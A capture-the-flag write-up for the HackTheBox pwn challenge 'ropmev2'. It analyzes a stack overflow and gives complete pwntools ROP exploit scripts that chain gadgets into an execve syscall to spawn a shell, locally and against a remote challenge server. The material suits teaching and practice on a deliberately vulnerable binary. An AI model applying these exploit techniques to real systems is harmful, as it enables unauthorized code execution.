ropmev2 (Pwn) – HackTheBox [EN]

This vulnerable binary is a retired Pwn challenge from HackTheBox. You can download it from here. As its name suggests, to exploit it we must use Return Oriented Programming (ROP).

Let’s start by looking at the file type using file:

ropmev2: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0

It is a Linux 64 bit dynamically linked binary.

When executed, it prints “Please dont hack me” and waits for input.

octo@kali:~/HTB/Challenges/Pwn/ropmev2$ ./ropmev2 
Please dont hack me
test

By using checksec we can see that the executable is not protected with a stack canary but it has the NX flag set. So it will be easy to overflow the stack but we cannot use it to execute shellcode. Also, the binary doesn’t have PIE enabled and will be executed on the same memory position every time facilitating exploitation. Given this combination of security measures, it makes sense to try to exploit it using ROP.

octo@kali:~/HTB/Challenges/Pwn/ropmev2$ checksec ropmev2
[*] '/home/octo/HTB/Challenges/Pwn/ropmev2/ropmev2'
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

When disassembling the binary we can see that it makes room for 0xd0 bytes in the stack for buffer by using the instruction sub rsp, 0xd0 located at 0x40116f. But then, it reads 500 bytes when calling read at position 0x4011b4. In consequence, this buffer can be exploited.

desensamblado

On the other hand, if we write DEBUG in the buffer the program will print “I dont know what this is” followed by the buffer’s address. This is caused by the execution of the second basic block when the comparison located at 0x4011ca results true.

octo@kali:~/HTB/Challenges/Pwn/ropmev2$ ./ropmev2 
Please dont hack me
DEBUG
I dont know what this is 0x7ffca3dcda90
Please dont hack me

We don’t need that address anyway because when main returns, rdi will be pointing to the buffer as a consequence of the execution of the function that has been renamed as screwBuffer. You can check it by debugging the program with gdb. This new name for the function and why we need to point rdi to the buffer will make sense in a few paragraphs.

We are going to exploit the binary using ROP. This technique is based on using code fragments called gadgets that are already present in the executable. A gadget is a series of instructions that usually ends by executing ret. We can use these gadgets one after another as if they were calls to small functions with the difference that the calling instruction will be ret instead of call. The objective is to chain the execution of gadgets to get a shell. Because of this, it is necessary to craft the stack content carefully and position the “arguments” for each gadget after their address. This is illustrated in the following image (taken from here):

esquema rop

We can look for gadgets present in the binary using ROPgadget:

$ ROPgadget --binary ropmev2 
Gadgets information
============================================================
0x00000000004010a9 : add ah, dh ; nop dword ptr [rax + rax] ; ret
(...)
0x0000000000401168 : syscall

0x00000000004010d9 : xor al, 0x40 ; add bh, bh ; loopne 0x40114c ; nop ; ret

At 0x401168 we can find the syscall instruction that we can use to get a shell by executing execve. The arguments for this syscall can be found here.

rax System call rdi rsi rdx
59 sys_execve const char *filename const char *const argv[] const char *const envp[]

We must find additional gadgets to set rax, rsi y rdx, and then use the syscall gadget. In this case, it is not necessary to set rdi because, as we mentioned before, it is already pointing to the buffer when main returns. We only need to write /bin/sh in the buffer, set rax to 59, and set rsi and rdi to NULL. For that purpose we’ll use the following gadgets:

  • 0x401162: pop rax; ret
  • 0x401164: pop rdx; pop r13; ret
  • 0x401429: pop rsi; pop r15; ret
  • 0x401168: syscall

To exploit the binary using these gadgets we can write a Python script using pwntools library:

from pwn import *

exploit  = b"/bin/sh\0"                  # buffer
exploit += b"\x41" * (0xd0-len(exploit)) # buffer
exploit += b"\x00" * 0x08                # rbp
exploit += p64(0x401162)      # 1st gadget
exploit += p64(59)            # rax value (execve)
exploit += p64(0x401164)      # 2nd gadget
exploit += b"\x00" * 0x08     # rdx value (NULL)
exploit += b"\x00" * 0x08     # r13 value (Doesn't matter)
exploit += p64(0x401429)      # 3rd gadget
exploit += b"\x00" * 0x08     # rsi value (NULL)
exploit += b"\x00" * 0x08     # r15 value (Doesn't matter)
exploit += p64(0x401168)      # syscall gadget

sys.stdout.write(exploit)

After each gadget, we put the values that will be used to populate the registers. For example, after the address of the first gadget, we place 59 on the stack. This value will be popped to rax when the gadget gets executed.

But, sadly the script doesn’t work:

octo@kali:~/HTB/Challenges/Pwn/ropmev2$ (python2 ./exp_local.py; cat)|./ropmev2 
Please dont hack me
ls
cat: write error: Broken pipe
Segmentation fault

Note: it is necessary to execute cat after injecting the exploit to keep a pipe open to communicate with sh.

We use strace to try to find out why our call to execve is failing:

octo@kali:~/HTB/Challenges/Pwn/ropmev2$ (python2 ./exp_local.py; cat)|strace ./ropmev2 
execve("./ropmev2", ["./ropmev2"], 0x7fff18a436a0 /* 43 vars */) = 0
(...)
write(1, "Please dont hack me\n", 20Please dont hack me
)   = 20
read(0, "/bin/sh\0AAAAAAAAAAAAAAAAAAAAAAAA"..., 500) = 288
execve("/ova/fu", NULL, NULL)           = -1 ENOENT (No such file or directory)
--- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_MAPERR, si_addr=NULL} ---
+++ killed by SIGSEGV +++

Despite read is actually reading /bin/sh and storing it in the buffer, when execve gets executed the buffer contains /ova/fu. This is caused by the execution of the function renamed as screwBuffer which is called at 0x401207 just before returning main. Now the new name makes sense xD. If you look carefully at the function, run some tests with different inputs, and use a little bit of intuition, you can figure out that the transformation of the input is reversible. Hence, the solution is to change /bin/sh for /ova/fu.

Now the exploit works locally using the following code:

from pwn import *

exploit  = b"/ova/fu\0"         # buffer
exploit += b"\x41" * (0xd0-len(exploit))       # buffer
exploit += b"\x00" * 0x08       # rbp
exploit += p64(0x401162)        # 1er gadget
exploit += p64(59)              # valor rax (execve)
exploit += p64(0x401164)        # 2er gadget
exploit += b"\x00" * 0x08
exploit += b"\x00" * 0x08
exploit += p64(0x401429)        # 3er gadget
exploit += b"\x00" * 0x08
exploit += b"\x00" * 0x08
exploit += p64(0x401168)        # syscall

sys.stdout.write(exploit)

We just have to adapt the script to connect to the remote server. For this we change sys.stdout.write(exploit) for:

p = remote('docker.hackthebox.eu',30257)

context(os='linux',arch='amd64')

print(p.recvline())
p.sendline(exploit)
p.interactive()

The exploit doesn’t work remotely. The person who made this challenge thought it would be funny to change /bin/sh for other binary that prints “LOL NOPE”. Luckily we can sort this out just by replacing /bin/sh with /bin/bash. Just don’t forget to reverse it so screwBuffer makes it right (/ova/onfu).